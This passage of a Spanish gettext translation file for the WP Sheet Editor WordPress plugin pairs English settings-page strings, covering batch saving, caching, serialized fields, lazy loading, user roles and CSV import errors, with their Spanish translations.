categorías de las entradas, las etiquetas " "de las entradas, etc. muestran los términos separados por comas, si usas " "comas en los nombres de las taxonomías, usa esta opción para cambiar el " "separador" #: wp-sheet-editor/dev/inc/options-init.php:150 msgid "How long do you want to wait between batches? (in seconds)" msgstr "¿Cuánto tiempo quieres esperar entre cada lote? (en segundos)" #: wp-sheet-editor/dev/inc/options-init.php:151 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. But your server can't " "handle all the batches one after another so we need to wait a few seconds " "after every batch to give your server a little break. The recommended value " "is 6 seconds, you can adjust it as it works best for you. If you get errors " "when saving you should increase the number to give your server a longer " "break after each batch" msgstr "" "Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, " "no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. " "Pero tu servidor no puede manejar todos los lotes uno tras otro, así que " "necesitamos esperar unos segundos después de cada lote para darle a tu " "servidor un pequeño descanso. El valor recomendado es de 6 segundos, puedes " "ajustarlo como mejor te convenga. Si obtienes errores al guardar, deberías " "aumentar el número para dar a tu servidor un descanso más largo después de " "cada lote." #: wp-sheet-editor/dev/inc/options-init.php:157 msgid "Disable post actions while saving?" msgstr "¿Desactivar las acciones posteriores al guardar cambios?" #: wp-sheet-editor/dev/inc/options-init.php:158 msgid "" "Some plugins execute a task after a post is created or updated. For example, " "there are plugins that share your new posts on your social profiles, other " "plugins that notify users after a post is updated, etc. There might be an " "issue with those plugins. For example, if you use a plugin that shares your " "new posts on your twitter account and update 100 posts in the spreadsheet " "editor you might end up with 100 tweets shared in your twitter account. So " "enable this option if you want to update / create posts silently without " "executing those functions." msgstr "" "Algunos plugins ejecutan una tarea después de crear o actualizar una " "entrada. Por ejemplo, hay plugins que comparten tus nuevas entradas en tus " "perfiles sociales, otros plugins notifican a los usuarios después de que una " "entrada es actualizada, etc. Puede que haya un problema con esos plugins. " "Por ejemplo, si usas un plugin que comparte tus nuevos posts en tu cuenta de " "twitter y actualizas 100 posts en el editor de la hoja de cálculo, puedes " "terminar con 100 tweets compartidos en tu cuenta de twitter. Así que " "habilita esta opción si quieres actualizar / crear posts silenciosamente sin " "ejecutar esas funciones." #: wp-sheet-editor/dev/inc/options-init.php:164 msgid "Suspend object cache invalidation?" msgstr "¿Suspender la invalidación de la caché de objetos?" #: wp-sheet-editor/dev/inc/options-init.php:165 msgid "" "Disable this if you are using a object/database cache plugin. We disable " "this by default to make the saving faster, when you edit a lot of posts " "WordPress tries to \"clean up\" the cache even if you are not using a cache " "plugin, making hundreds of unnecessary database queries." msgstr "" "Deshabilita esta opción si estás usando un plugin de caché de objetos/bases " "de datos. Desactivamos esto por defecto para que el ahorro sea más rápido. " "Cuando editas muchas entradas, WordPress intenta \"limpiar\" la caché " "incluso si no estás usando un plugin de caché, haciendo cientos de consultas " "innecesarias a la base de datos." #: wp-sheet-editor/dev/inc/options-init.php:171 msgid "Disable the replacement of line breaks with p tags?" msgstr "¿Deshabilitar la sustitución de los saltos de línea con etiquetas p?" #: wp-sheet-editor/dev/inc/options-init.php:172 msgid "" "When the sheet loads and saves post content, we run it through wpautop to " "prevent issues with line breaks. You can disable this if you dont want to " "see/save the p tags in the content." msgstr "" "Cuando se carga la hoja de cálculo y guarda el contenido de las filas, la " "ejecutamos a través de wpautop para evitar problemas de saltos de línea. " "Puedes deshabilitar esto si no quieres ver/guardar las etiquetas p en el " "contenido." #: wp-sheet-editor/dev/inc/options-init.php:178 msgid "Deactivate the data prefetch" msgstr "Desactivar el prefetch de los datos" #: wp-sheet-editor/dev/inc/options-init.php:179 msgid "" "When you load the spreadsheet, we get all the columns at once from the " "database to make it faster, this is called prefetch. This can cause issues " "if you have thousands of columns or rare database setups." msgstr "" "Cuando cargas la hoja de cálculo, obtenemos todas las columnas a la vez de " "la base de datos para hacerlo más rápido, esto se llama prefetch. Esto puede " "causar problemas si tienes miles de columnas o configuraciones raras en tus " "bases de datos." #: wp-sheet-editor/dev/inc/options-init.php:185 msgid "Meta keys that should use the infinite serialized fields handler" msgstr "" "Claves meta que deben utilizar el administrador de campos serializados " "infinitos" #: wp-sheet-editor/dev/inc/options-init.php:186 msgid "" "This is only for advanced users or if our support team asks you to use this " "option. We have 2 ways to handle serialized fields: the old handler (used by " "default, which has limitations) and the infinite serialization handler " "(better, it is not active by default to not break previous integrations). " "Use this option if you have serialized fields that save incorrectly or dont " "appear in the spreadsheet." msgstr "" "Esto es sólo para usuarios avanzados o si nuestro equipo de soporte te pide " "que uses esta opción. Tenemos dos maneras de manejar los campos " "serializados: el antiguo controlador (usado por defecto, que tiene " "limitaciones) y el controlador de serialización infinita (mejor, no está " "activo por defecto para no romper integraciones anteriores). Utiliza esta " "opción si tienes campos serializados que se guardan incorrectamente o no " "aparecen en la hoja de cálculo." #: wp-sheet-editor/dev/inc/options-init.php:191 msgid "Blacklist these columns" msgstr "Poner estas columnas en la lista negra" #: wp-sheet-editor/dev/inc/options-init.php:192 msgid "" "Enter the list of field keys separated by commas, you can enter the full " "meta field key or partial keywords or prefixes. This is useful because some " "plugins add thousands of unnecessary fields to the database and they clutter " "the spreadsheet" msgstr "" "Ingresa la lista de claves de campo separadas por comas, puedes ingresar la " "clave completa del campo meta o las palabras clave o prefijos parciales. " "Esto es útil porque algunos plugins añaden miles de campos innecesarios a la " "base de datos y desordenan la hoja de cálculo" #: wp-sheet-editor/dev/inc/options-init.php:197 msgid "Enable the utf8 encoding fix" msgstr "Habilitar la corrección de la codificación utf8" #: wp-sheet-editor/dev/inc/options-init.php:198 msgid "This might help if the spreadsheet doesnt load or it loads empty." msgstr "" "Esto puede ayudar si la hoja de cálculo no carga filas o si las filas " "aparecen vacías." #: wp-sheet-editor/dev/inc/options-init.php:205 msgid "Maximum number of seconds to download external images?" msgstr "Número máximo de segundos para descargar imágenes externas?" #: wp-sheet-editor/dev/inc/options-init.php:206 msgid "" "Default: 4. When you enter an external image URL in any image cells (or " "during the import), we download the image file into the WordPress media " "library and save it in the field. By default, we limit the download time to " "4 seconds, any download that exceeds that number of seconds will be cancelled" msgstr "" "Por defecto: 4. Cuando ingresas una URL externa en columnas de imágenes o " "durante la importación, descargamos la imagen y la guardamos en la librería " "multimedia de WordPress. Por defecto, limitamos la descarga a 4 segundos, " "cualquier descarga que supere eso será cancelada para evitar problemas de " "rendimiento." #: wp-sheet-editor/dev/inc/options-init.php:212 msgid "Maximum meta fields displayed in the advanced filters dropdown" msgstr "Cantidad máxima de campos disponibles para búsqueda avanzada?" #: wp-sheet-editor/dev/inc/options-init.php:213 msgid "" "We limit the list of fields to 1000 meta fields to avoid memory leaks/" "performance issues. If you want to search by a field that does not appear in " "the dropdown, increase this number." msgstr "" "Limitamos la lista de campos a 1000 meta campos para evitar pérdidas de " "memoria/problemas de rendimiento. Si quieres buscar por un campo que no " "aparece en el desplegable, aumenta este número." #: wp-sheet-editor/dev/inc/options-init.php:219 msgid "Allow line breaks in values during the export and import process" msgstr "Permitir saltos de línea en valores al exportar e importar?" #: wp-sheet-editor/dev/inc/options-init.php:220 msgid "" "We will not execute our removal of duplicate rows when the line breaks are " "allowed, so you might see duplicate rows in the export files in rare cases." msgstr "" "No ejecutaremos nuestra eliminación de filas duplicadas cuando se permitan " "los saltos de línea, por lo que es posible que veas filas duplicadas en los " "archivos de exportación en casos excepcionales." #: wp-sheet-editor/dev/inc/options-init.php:226 msgid "Allow safe html in post titles?" msgstr "Permitir HTML seguro en títulos de posts?" #: wp-sheet-editor/dev/inc/options-init.php:227 msgid "" "We will remove all the html tags by default. Activate this option to allow " "safe html tags, like b, span, i, etc" msgstr "" "Eliminaremos todas las etiquetas html por defecto. Habilita esta opción para " "permitir etiquetas html seguras, como b, span, i, etc." #: wp-sheet-editor/dev/inc/options-init.php:233 msgid "Attach every taxonomy term in the hierarchy to the posts?" msgstr "¿Acoplar cada término de taxonomía de la jerarquía a los posts?" #: wp-sheet-editor/dev/inc/options-init.php:234 msgid "" "By default, we only attach the last term in the hierarchy to the posts " "because WordPress automatically handles them correctly. But if you want to " "assign each term to the post, including the parent categories, activate this " "option" msgstr "" "Por defecto, sólo asignamos el último término de la jerarquía a las entradas " "porque WordPress las gestiona correctamente de forma automática. Pero si " "quieres asignar cada término a la entrada, incluyendo las categorías padre, " "habilita esta opción." #: wp-sheet-editor/dev/inc/options-init.php:240 msgid "Always run the save_post action after any post row is edited?" msgstr "" "¿Ejecutar siempre la acción save_post después de editar cualquier fila de la " "entrada?" #: wp-sheet-editor/dev/inc/options-init.php:241 msgid "" "By default, we run the save_post action only when a post data field is " "updated (fields other than meta and taxonomies) for performance reasons. " "Enable this if other plugins aren't detecting our changes or webhooks aren't " "running." msgstr "" "Por defecto, ejecutamos la acción save_post sólo cuando se actualiza un " "campo de datos de la entrada (campos que no sean meta y taxonomías) por " "razones de rendimiento. Habilita esto si otros plugins no están detectando " "nuestros cambios o los webhooks no se están ejecutando." #: wp-sheet-editor/dev/inc/options-init.php:250 msgid "Customize features" msgstr "¿Personalizar las características" #: wp-sheet-editor/dev/inc/options-init.php:255 msgid "Enable option to restrict spreadsheet views per user?" msgstr "" "¿Habilitar la opción de restringir las vistas de hojas de cálculo por " "usuario?" #: wp-sheet-editor/dev/inc/options-init.php:256 msgid "" "If you enable this option, we will add fields to the user profiles where you " "can specify which spreadsheet views they can use, they can use all the " "spreadsheet views if this is deactivated." msgstr "" "Si habilitas esta opción, añadiremos campos a los perfiles de usuario donde " "podrás especificar qué vistas de la hoja de cálculo pueden utilizar, pueden " "utilizar todas las vistas de la hoja de cálculo si esto está desactivado." #: wp-sheet-editor/dev/inc/options-init.php:262 msgid "Enable simple mode?" msgstr "¿Habilitar el modo simple?" #: wp-sheet-editor/dev/inc/options-init.php:263 msgid "" "If you enable this option, we will simplify the spreadsheet options and " "remove advanced examples, tips, and options rarely used in the search tool, " "bulk edit tool, import tool, export tool, and other places." msgstr "" "Si habilitas esta opción, simplificaremos las opciones de la hoja de cálculo " "y eliminaremos ejemplos avanzados, consejos y opciones poco utilizadas en la " "herramienta de búsqueda, la herramienta de edición masiva, la herramienta de " "importación, la herramienta de exportación y otros lugares." #: wp-sheet-editor/dev/inc/options-init.php:269 msgid "Disable the automatic formatting detection?" msgstr "¿Deshabilitar la detección automática del formato?" #: wp-sheet-editor/dev/inc/options-init.php:270 msgid "" "If you enable this option, some columns will appear as text. Normally we " "detect the date fields, image fields." msgstr "" "Si habilitas esta opción, algunas columnas aparecerán como texto. " "Normalmente detectamos los campos de fecha, campos de imagen." #: wp-sheet-editor/dev/inc/options-init.php:276 msgid "Disable cells lazy loading?" msgstr "¿Deshabilitar la carga lenta de las celdas?" #: wp-sheet-editor/dev/inc/options-init.php:277 msgid "" "The spreadsheet loads only the \"visible rows\" for performance reasons, so " "when you scroll up or down the rows are loaded dynamically. This way you can " "\"open\" thousands of posts in the spreadshet and it will work fast. " "However, if you want to use the browser search to find a specific cell, you " "need to disable the lazy loading in order to load all the rows at once and " "the browser will be able to find the cells. The browser search doesn't work " "by default because only the \"visible rows\" are actually created." msgstr "" "La hoja de cálculo carga sólo las \"filas visibles\" por razones de " "rendimiento, por lo que cuando te desplazas hacia arriba o hacia abajo las " "filas se cargan dinámicamente. De esta manera puedes \"abrir\" miles de " "posts en la hoja de cálculo y funcionará rápido. Sin embargo, si quieres " "usar la búsqueda del navegador para encontrar una celda específica, " "necesitas deshabilitar la carga perezosa para cargar todas las filas a la " "vez y el navegador será capaz de encontrar las celdas. La búsqueda en el " "navegador no funciona por defecto porque sólo se crean las \"filas " "visibles\"." #: wp-sheet-editor/dev/inc/options-init.php:283 msgid "Disable usage stats widget?" msgstr "¿Deshabilitar el widget de estadísticas de uso?" #: wp-sheet-editor/dev/inc/options-init.php:284 msgid "" "If you enable this option, the usage stats widget shown in the wp-admin " "dashboard will be removed." msgstr "" "Si habilitas esta opción, el widget de estadísticas de uso que se muestra en " "el panel de control de wp-admin será eliminado." #: wp-sheet-editor/dev/inc/options-init.php:290 msgid "Disable serialized columns support?" msgstr "¿Deshabilitar el soporte de columnas serializadas?" #: wp-sheet-editor/dev/inc/options-init.php:291 msgid "" "The spreadsheet automatically generates columns for serialized fields, but " "this can use a lot of CPU cycles depending on the number of serialized " "fields. You can disable this feature if the sheet is too slow to load or you " "get errors when loading the rows or you dont want to see columns with prefix " "\"SEIS\"." msgstr "" "La hoja de cálculo genera automáticamente columnas para los campos " "serializados, pero esto puede utilizar muchos ciclos de CPU dependiendo del " "número de campos serializados. Puedes deshabilitar esta característica si la " "hoja es demasiado lenta para cargar o si obtienes errores al cargar las " "filas o no quieres ver las columnas con el prefijo \"SEIS\"." #: wp-sheet-editor/dev/inc/options-init.php:297 msgid "Disable the heartbeat api in the spreadsheet?" msgstr "¿Deshabilitar la api heartbeat en la hoja de cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:298 msgid "" "WordPress uses the heartbeat API to check the login status every few " "seconds. This can overload your server because it could make hundreds of " "requests when you are editing in the spreadsheet. You can disable it to " "reduce the stress on your server while editing in the sheet. However, if you " "keep the spreadsheet opened over multiple days your login session can expire " "and you wont be notified if you disable the heartbeat and this can cause " "issues while saving. So use this option only when you use the spreadsheet " "for a few hours only." msgstr "" "WordPress utiliza la API de heartbeat para comprobar el estado de inicio de " "sesión cada pocos segundos. Esto puede sobrecargar el servidor, ya que " "podría hacer cientos de peticiones cuando se está editando en la hoja de " "cálculo. Puedes deshabilitarla para reducir el estrés en tu servidor " "mientras editas en la hoja de cálculo. Sin embargo, si mantienes la hoja de " "cálculo abierta durante varios días, tu sesión de inicio de sesión puede " "caducar y no se te notificará si dehabilitas el heartbeat, lo que puede " "causar problemas al guardarla. Así que usa esta opción sólo cuando uses la " "hoja de cálculo durante unas pocas horas." #: wp-sheet-editor/dev/inc/options-init.php:303 msgid "User roles that can use the spreadsheet editor" msgstr "Roles de usuario que pueden utilizar el editor de hojas de cálculo" #: wp-sheet-editor/dev/inc/options-init.php:304 msgid "The plugin will not initialize for the user roles not selected here." msgstr "" "El plugin no se inicializará para los roles de usuario no seleccionados aquí." #: wp-sheet-editor/dev/inc/options-init.php:312 msgid "Enable the fancy taxonomy terms selector" msgstr "Habilitar el selector de términos de taxonomía bonito" #: wp-sheet-editor/dev/inc/options-init.php:313 msgid "" "Backwards compatibility. This setting will be removed in future updates." msgstr "" "Compatibilidad con versiones anteriores. Este ajuste se eliminará en futuras " "actualizaciones." #: wp-sheet-editor/dev/inc/options-init.php:319 msgid "What cell format to use for the taxonomy columns?" msgstr "¿Qué formato de celda se debe utilizar para las columnas de taxonomía?" #: wp-sheet-editor/dev/inc/options-init.php:321 msgid "New multi select dropdown (Default)" msgstr "Nuevo menú desplegable de selección múltiple (predeterminado)" #: wp-sheet-editor/dev/inc/options-init.php:322 msgid "Old single select autocomplete" msgstr "Autocompletado de selección simple antiguo" #: wp-sheet-editor/dev/inc/options-init.php:328 msgid "Show all the custom post statuses?" msgstr "¿Mostrar todos los estados de posts personalizados?" #: wp-sheet-editor/dev/inc/options-init.php:329 msgid "" "By default we show the CORE statuses: published, draft, private, scheduled, " "trash. However, some plugins register custom statuses: job managers, " "woocommerce. Enable this option to show all the custom statuses in the " "\"status\" column. CAREFUL. We will show all the statuses from all the post " "types in the dropdown because it is impossible to know the post type of each " "status to we can not separate them. Do this only if you are a developer." msgstr "" "Por defecto, mostramos los estados del NÚCLEO: publicado, borrador, privado, " "programado, papelera. Sin embargo, algunos plugins registran estados " "personalizados: gestores de trabajos, comercio de madera. Habilita esta " "opción para mostrar todos los estados personalizados en la columna " "\"status\". CUIDADO. Mostraremos todos los estados de todos los post types " "en el desplegable porque es imposible saber el post type de cada estado al " "no poder separarlos. Haz esto sólo si eres un desarrollador." #: wp-sheet-editor/dev/inc/options-init.php:335 msgid "Remove help messages from the cells?" msgstr "¿Ocultar los mensajes de ayuda de las celdas?" #: wp-sheet-editor/dev/inc/options-init.php:336 msgid "" "By default we show comments in some columns indicating the value format or " "why they are locked. for example, the category column shows a tip indicating " "to separate terms with a comma and how to add child categories, variation " "columns have a tip indicating why they are locked for parent products. You " "can activate this option to disable those tips." msgstr "" "Por defecto, mostramos comentarios en algunas columnas indicando el formato " "del valor o por qué están bloqueados. Por ejemplo, la columna de categorías " "muestra un consejo que indica que hay que separar los términos con una coma " "y cómo añadir categorías menores, las columnas de variaciones tienen un " "consejo que indica por qué están bloqueadas para los productos de los " "padres. Puedes activar esta opción para desactivar esos consejos." #: wp-sheet-editor/dev/inc/options-init.php:342 msgid "Manage taxonomy column values as term ids?" msgstr "" "¿Administrar los valores de las columnas de taxonomía como IDs de términos?" #: wp-sheet-editor/dev/inc/options-init.php:343 msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term ids separated by commas." msgstr "" "Por defecto mostramos las categorías como nombres separados por comas. " "Habilita esta opción para mostrar y guardar los ID de los términos separados " "por comas." #: wp-sheet-editor/dev/inc/options-init.php:349 msgid "Manage taxonomy column values as term slugs?" msgstr "" "¿Gestionar los valores de las columnas de taxonomía como slugs de términos?" #: wp-sheet-editor/dev/inc/options-init.php:350 msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term slugs separated by commas." msgstr "" "Por defecto mostramos las categorías como nombres separados por comas. " "Habilita esta opción para mostrar y guardar los términos separados por comas." #: wp-sheet-editor/dev/inc/options-init.php:356 msgid "Do you want to deactivate columns for new fields found?" msgstr "¿Quieres deshabilitar las columnas para los nuevos campos encontrados?" #: wp-sheet-editor/dev/inc/options-init.php:357 msgid "" "By default we automatically show columns for all the new fields found, so " "everytime we detect new fields you can see them and edit right away. But " "this might \"break\" your column sorting or annoy you if you have enabled " "specific columns. Enable this option to generate those columns but leave " "them deactivated so you can enable them later." msgstr "" "Por defecto mostramos automáticamente columnas para todos los nuevos campos " "encontrados, así que cada vez que detectamos nuevos campos puedes verlos y " "editarlos inmediatamente. Pero esto puede \"romper\" tu orden de columnas o " "molestarte si has habilitado columnas específicas. Habilita esta opción para " "generar esas columnas pero dejarlas desactivadas para que puedas " "habilitarlas más tarde." #: wp-sheet-editor/dev/inc/options-init.php:364 msgid "Math formula roundup decimals" msgstr "" "Decimales para redondear valores al realizar ediciones masivas en columnas " "numéricas?" #: wp-sheet-editor/dev/inc/options-init.php:365 msgid "" "We automatically round up to 2 decimals. You can enter any number here, for " "example, 1 to round to 1 decimal" msgstr "" "Redondeamos automáticamente a 2 decimales. Puedes ingresar cualquier número " "aquí, por ejemplo, 1 para redondear a 1 decimal" #: wp-sheet-editor/dev/inc/options-init.php:371 msgid "Display raw value on select cells?" msgstr "¿Mostrar el valor bruto en las celdas seleccionadas?" #: wp-sheet-editor/dev/inc/options-init.php:372 msgid "" "By default, we show the label in the cell instead of the raw value. But you " "can enable this option to display the raw value in the cells." msgstr "" "Por defecto, mostramos la etiqueta en la celda en lugar del valor bruto. " "Pero puedes habilitar esta opción para mostrar el valor bruto en las celdas." #: wp-sheet-editor/dev/inc/options-init.php:378 msgid "" "Delete user accounts in the entire network when deleting users in the " "spreadsheet?" msgstr "" "¿Borrar cuentas de usuario en toda la red al borrar usuarios en la hoja de " "cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:379 msgid "" "When you use WordPress multisite and you delete a user in the users " "spreadsheet, by default we only remove the user from the current site but " "the user remains in the network. Activate this option if you want to delete " "the user account from the entire network" msgstr "" "Cuando usas una red multisitios y borras usuarios en la hoja de cálculo de " "usuarios, por defecto solo removemos el usuario del sitio actual. Habilita " "esta opción para eliminar al usuario de toda la red." #: wp-sheet-editor/dev/inc/options-init.php:385 msgid "Disable the addition of file ID to the image URLs?" msgstr "¿Deshabilitar la adición del ID del archivo a la URL de las imágenes?" #: wp-sheet-editor/dev/inc/options-init.php:386 msgid "" "By default, when you export the featured image column or gallery columns, we " "add the file ID to each image url so we can import them later faster. You " "can activate this option to not add the file id and the import will work " "fine later but it wont be as fast" msgstr "" "Por defecto, al exportar una columna con imágenes, agregamos el ID del " "archivo a la URL para que al importar, sepamos el origen de la imagen y la " "guardemos más rápido. Activa esta opción para no agregar el ID a la URL, " "todo funciona bien al habilitar esta opción, solo que el guardado puede ser " "un poquito más lento." #: wp-sheet-editor/dev/inc/options-init.php:392 msgid "Disable the display of file names in the image columns?" msgstr "¿No mostrar el nombre del archivo en la celda de las imágenes?" #: wp-sheet-editor/dev/inc/options-init.php:393 msgid "" "By default, we show the file name as a preview next to the thumbnail, you " "can activate this to show the thumbnail and upload buttons only" msgstr "" "Por defecto, mostramos el nombre del archivo como texto de vista previa " "junto a la miniatura, habilita esto para mostrar solo la miniatura y botones " "únicamente." #: wp-sheet-editor/dev/inc/options-init.php:399 msgid "Add html classes to the \"post status\" cells based on their values?" msgstr "" "¿Añadir clases html a las celdas \" estado de la entrada \" en función de " "sus valores?" #: wp-sheet-editor/dev/inc/options-init.php:400 msgid "" "You can activate this option if you want to add html classes, and use those " "html classes to change the cell colors for each status using custom CSS" msgstr "" "Puedes habilitar esta opción si quieres añadir clases html, y usar esas " "clases html para cambiar los colores de las celdas para cada estado usando " "CSS personalizado" #: wp-sheet-editor/dev/inc/options-init.php:407 msgid "" "Maximum number of characters displayed in the preview of the values of " "tinymce columns?" msgstr "" "¿Número máximo de caracteres mostrados en la vista previa de los valores de " "las columnas tinymce?" #: wp-sheet-editor/dev/inc/options-init.php:408 msgid "" "By default, we only display 30 characters. You can increase the number here " "to view larger previews." msgstr "" "Por defecto, sólo mostramos 30 caracteres. Puedes aumentar el número aquí " "para ver previsualizaciones más grandes." #: wp-sheet-editor/dev/inc/options-init.php:414 msgid "Manage the post parent column using IDs?" msgstr "¿Administrar la columna \"Padre\" usando los IDs?" #: wp-sheet-editor/dev/inc/options-init.php:415 msgid "" "By default, the \"parent\" column displays titles and saves using titles. If " "you activate this option, the column will display IDs and save IDs. This is " "useful if you have duplicate titles and you need to save the exact parent by " "ID." msgstr "" "Por defecto, la columna \"padre\" muestra títulos y guarda utilizando " "títulos. Si habilitas esta opción, la columna mostrará IDs y guardará IDs. " "Esto es útil si tienes títulos duplicados y necesitas guardar el padre " "exacto por ID." #: wp-sheet-editor/dev/inc/options-init.php:420 msgid "Enable the dark mode?" msgstr "¿Habilitar modo oscuro?" #: wp-sheet-editor/dev/inc/options-init.php:424 msgid "Auto (Default)" msgstr "Automático (por defecto)" #: wp-sheet-editor/dev/inc/options-init.php:425 msgid "Light mode" msgstr "Modo claro" #: wp-sheet-editor/dev/inc/options-init.php:426 msgid "Dark mode" msgstr "Modo oscuro" #: wp-sheet-editor/dev/inc/options-init.php:433 msgid "General settings" msgstr "Ajustes generales" #: wp-sheet-editor/dev/inc/options-init.php:438 msgid "" "In this page you can quickly set up the spreadsheet editor. This all you " "need to use the editor. The settings on the other tabs are completely " "optional and allow you to tweak the performance of the editor among other " "things." msgstr "" "En esta página puedes configurar rápidamente el editor de hojas de cálculo. " "Esto es todo lo que necesitas para usar el editor. Los ajustes en las otras " "pestañas son completamente opcionales y te permiten ajustar el rendimiento " "del editor entre otras cosas." #: wp-sheet-editor/dev/inc/options-init.php:445 msgid "Misc" msgstr "Miscelánea" #: wp-sheet-editor/dev/inc/options-init.php:451 msgid "Image preview width inside the cell" msgstr "Ancho de previsualización de la imagen dentro de la celda" #: wp-sheet-editor/dev/inc/options-init.php:458 msgid "Image preview height inside the cell" msgstr "Altura de previsualización de la imagen dentro de la celda" #: wp-sheet-editor/dev/inc/options-init.php:465 msgid "Initial rows offset" msgstr "Desfase inicial de las filas" #: wp-sheet-editor/dev/inc/options-init.php:466 msgid "" "When you have 1000 posts , you might want to open the spreadsheet and start " "editing from post 200. This option lets you skip a lot of rows. IMPORTANT. " "We use the pagination, so we will display the page closest to that number. " "For example. If you load 10 rows per page and enter 1205 as offset, the " "sheet will start from page 120 (index 1200) because it is the page closest " "to the defined offset." msgstr "" "Cuando tengas 1000 filas , puede que quieras abrir la hoja de cálculo y " "empezar a editar desde las fila 200. Esta opción te permite saltar muchas " "filas. IMPORTANTE. Usamos la paginación, así que mostraremos la página más " "cercana a ese número. Por ejemplo, si cargas 10 filas por página e ingresas " "1205 como desplazamiento, la hoja comenzará desde la página 120 (índice " "1200) porque es la página más cercana al desplazamiento definido." #: wp-sheet-editor/dev/inc/options-init.php:472 msgid "Delete the attached images when deleting a post?" msgstr "¿Borrar las imágenes adjuntas al borrar una entrada?" #: wp-sheet-editor/dev/inc/options-init.php:473 msgid "" "For example, when deleting a post completely (not moving to the trash), " "delete the featured image and product gallery images from the media library. " "CAREFUL.If you use the same images on multiple posts, it will break the " "images on other posts" msgstr "" "Por ejemplo, cuando se borra un post por completo (sin ir a la papelera), se " "borra la imagen destacada y las imágenes de la galería de productos de la " "biblioteca de medios. CUIDADO. Si usas las mismas imágenes en varios posts, " "se romperán las imágenes en otros posts" #: wp-sheet-editor/dev/inc/options-init.php:481 msgid "Spreadsheets enabled for these post types" msgstr "Hojas de cálculo habilitadas para estos post types" #: wp-sheet-editor/dev/inc/options-init.php:486 msgid "Disable the help toolbar?" msgstr "¿Deshabilitar la barra de ayuda?" #: wp-sheet-editor/dev/inc/options-init.php:487 msgid "This will hide the \"help\" option in the top toolbar" msgstr "Esto ocultará la opción \"ayuda\" de la barra de herramientas superior" #: wp-sheet-editor/dev/inc/options-init.php:494 msgid "Maximum visible characters in locked cells" msgstr "Máximo de caracteres visibles en las celdas bloqueadas" #: wp-sheet-editor/dev/inc/options-init.php:495 msgid "" "Locked cells only show a preview of the value. The default character length " "is %d" msgstr "" "Las celdas bloqueadas sólo muestran una vista previa del valor. La longitud " "de caracteres por defecto es %d" #: wp-sheet-editor/dev/inc/options-init.php:501 msgid "Don't show read-only columns in the advanced search?" msgstr "¿No mostrar columnas de sólo lectura en la búsqueda avanzada?" #: wp-sheet-editor/dev/inc/options-init.php:510 msgid "Disable extension offerings?" msgstr "¿Deshabilitar la promoción de extensiones?" #: wp-sheet-editor/dev/inc/options-init.php:516 msgid "Don't display the disabled columns in the modules?" msgstr "¿No mostrar las columnas deshabilitadas en los módulos?" #: wp-sheet-editor/dev/inc/options-init.php:517 msgid "" "By default, we show all the columns in the app modules (advanced search, " "bulk edit, export, import, etc), even if they're disabled in the columns " "manager. Activate this option to only display enabled columns." msgstr "" "Por defecto, mostramos todas las columnas en los módulos de la app (búsqueda " "avanzada, edición masiva, exportación, importación, etc), aunque estén " "deshabilitadas en el gestor de columnas. Habilita esta opción para mostrar " "solo las columnas habilitadas." #: wp-sheet-editor/dev/inc/options-init.php:523 msgid "" "Allow users with the capability unfiltered_html to save any html in the post " "content column?" msgstr "" "¿Permitir a los usuarios con la capacidad unfiltered_html guardar cualquier " "html en la columna de contenido del post?" #: wp-sheet-editor/dev/inc/options-init.php:524 msgid "" "By default, we remove any unsafe html from all the spreadsheet columns " "before saving the values. You can activate this option if you want to allow " "the WordPress super admins or administrators to add iframes, ad codes, etc " "to the post content. Use it at your own risk." msgstr "" "Por defecto, eliminamos cualquier html inseguro de todas las columnas de la " "hoja de cálculo antes de guardar los valores. Puedes activar esta opción si " "quieres permitir a los superadministradores o administradores de WordPress " "añadir iframes, códigos de anuncios, etc al contenido de la entrada. Úsala " "bajo tu propia responsabilidad." #: wp-sheet-editor/dev/inc/options-init.php:531 msgid "Generate serialized fields columns based on these posts" msgstr "Generar columnas de campos serializados basados en estos posts" #: wp-sheet-editor/dev/inc/options-init.php:532 msgid "" "This option allows you to indicate what posts to use as templates for " "specific serialized fields. Enter the field key and post ID separated with a " "colon. For example: serialized_key1:89, serializedkey2:90" msgstr "" "Esta opción te permite indicar qué posts utilizar como plantillas para " "campos serializados específicos. Ingresa la clave del campo y el ID del post " "separados por dos puntos. Por ejemplo: serialized_key1:89, serialized_key2:90" #: wp-sheet-editor/dev/inc/providers/post.php:511 msgid "" "Row ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your " "CSV uses the right name in the post type column." msgstr "" "Fila: %1$d, Tipo de post: %2$s no existe en WordPress. Asegúrate de que tu " "CSV utiliza el nombre correcto en la columna Post type." #: wp-sheet-editor/dev/inc/providers/post.php:527 msgid "" "Row ID: %d. You are trying to save an empty post type. Make sure your CSV " "uses the right name in the post type column." msgstr "" "Fila: %d. Estás guardando un post type vacío. Asegúrate que tu CSV usa el " "nombre correcto en la columna \"Tipo de post\" o \"Post Type\"." #: wp-sheet-editor/dev/inc/providers/post.php:636 msgid "Row ID: %d, You do not have permission to delete this post." msgstr "Fila: %d. No tienes suficientes permisos para borrar este post." #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Go Premium" msgstr "Pásate a Premium" #: wp-sheet-editor/dev/inc/teasers/coupons.php:33 msgid "WooCommerce Coupons" msgstr "Cupones WooCommerce" #: wp-sheet-editor/dev/inc/teasers/coupons.php:51 msgid "" "Edit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, " "restrictions, and more. Make advanced searches. The spreadsheet is in sync " "with your site, no need to import/export. Download Plugin" msgstr "" "Editar cupones en una hoja de cálculo.
                  Editar códigos de cupón, montos, " "estado, restricciones y más. Realizar búsquedas avanzadas. La hoja de " "cálculo está sincronizada con tu sitio, sin necesidad de importar/exportar. " "Descargar Plugin" #: wp-sheet-editor/dev/inc/teasers/formulas.php:34 msgid "Apply changes in bulk" msgstr "Aplicar cambios masivamente" #: wp-sheet-editor/dev/inc/teasers/formulas.php:56 msgid "Bulk Update feature" msgstr "Función de cambios masivos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:58 msgid "" "The \"bulk update\" feature allows you to update several posts at once
